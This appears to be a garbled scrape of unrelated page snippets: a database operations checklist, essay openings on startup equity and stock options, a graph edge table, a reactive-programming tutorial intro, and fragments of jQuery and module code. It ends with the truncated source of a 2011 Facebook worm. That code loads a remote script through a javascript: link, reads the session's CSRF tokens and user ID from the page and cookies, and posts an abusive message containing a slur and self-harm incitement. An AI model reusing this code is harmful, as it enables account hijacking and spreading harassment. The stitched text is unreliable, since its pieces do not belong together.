- Documented replication topology
- Documented network topology
- Documented interface topology - including users, passwords, connection estimates, load balancers, connection proxies
- Documented procedure, schedule for failover and testing
- Documented procedure, schedule for disaster recovery and testing
Disclaimer: This piece is written anonymously. The names of a few particular companies are mentioned, but as common examples only.
This is a short write-up on things that I wish I'd known and considered before joining a private company (aka startup, aka unicorn in some cases). I'm not trying to make the case that you should never join a private company, but the power imbalance between founder and employee is extreme, and that potential candidates would
JD Maturen, 2016/07/05, San Francisco, CA
As has been much discussed, stock options as used today are not a practical or reliable way of compensating employees of fast growing startups. With an often high strike price, a large tax burden on execution due to AMT, and a 90 day execution window after leaving the company many share options are left unexecuted.
There have been a variety of proposed modifications to how equity is distributed to address these issues for individual employees. However, there hasn't been much discussion of how these modifications will change overall ownership dynamics of startups. In this post we'll dive into the situation as it stands today where there is very near 100% equity loss when employees leave companies pre-exit and then we'll look at what would happen if there were instead a 0% loss rate.
What we'll see is that employees gain nearly 3-fold, while both founders and investors – particularly early investors – get dilute
Source | Target | Type | Id | Weight | Average Degree | |
---|---|---|---|---|---|---|
1 | 3 | Undirected | 1 | 1.0 | 1.0 | |
2 | 10 | Undirected | 8 | 1.0 | 1.0 | |
3 | 4 | Undirected | 2 | 1.0 | 1.0 | |
4 | 5 | Undirected | 3 | 1.0 | 1.0 | |
5 | 10 | Undirected | 4 | 1.0 | 1.0 | |
8 | 2 | Undirected | 7 | 1.0 | 1.0 | |
8 | 9 | Undirected | 11 | 1.0 | 1.0 | |
10 | 1 | Undirected | 5 | 1.0 | 1.0 | |
10 | 6 | Undirected | 10 | 1.0 | 1.0 |
(by @andrestaltz)
So you're curious in learning this new thing called (Functional) Reactive Programming (FRP).
Learning it is hard, even harder by the lack of good material. When I started, I tried looking for tutorials. I found only a handful of practical guides, but they just scratched the surface and never tackled the challenge of building the whole architecture around it. Library documentations often don't help when you're trying to understand some function. I mean, honestly, look at this:
Rx.Observable.prototype.flatMapLatest(selector, [thisArg])
Projects each element of an observable sequence into a new sequence of observable sequences by incorporating the element's index and then transforms an observable sequence of observable sequences into an observable sequence producing values only from the most recent observable sequence.
// jQuery Deparam - v0.1.0 - 6/14/2011 | |
// http://benalman.com/ | |
// Copyright (c) 2011 Ben Alman; Licensed MIT, GPL | |
(function($) { | |
// Creating an internal undef value is safer than using undefined, in case it | |
// was ever overwritten. | |
var undef; | |
// A handy reference. | |
var decode = decodeURIComponent; |
(function (name, definition){ | |
var theModule = definition(), | |
hasDefine = typeof define === 'function', | |
hasExports = typeof module !== 'undefined' && module.exports; | |
if (hasDefine){ // AMD Module | |
define(theModule); | |
} else if (hasExports) { // Node.js Module | |
module.exports = theModule; |
// 5/11/11 Facebook hack -- Started spreading and was quickly taken down by Dropbox (where the file was hosted). | |
var message = "Fuck you faggot. Go kill yourself. Do whatever the fuck you want. I hate you and the only way to remove all these posts is by disabling this below."; | |
var jsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://dl.dropbox.com/u/10505629/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();"; | |
var myText = "Remove This App"; | |
var post_form_id = document.getElementsByName('post_form_id')[0].value; | |
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; | |
var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); |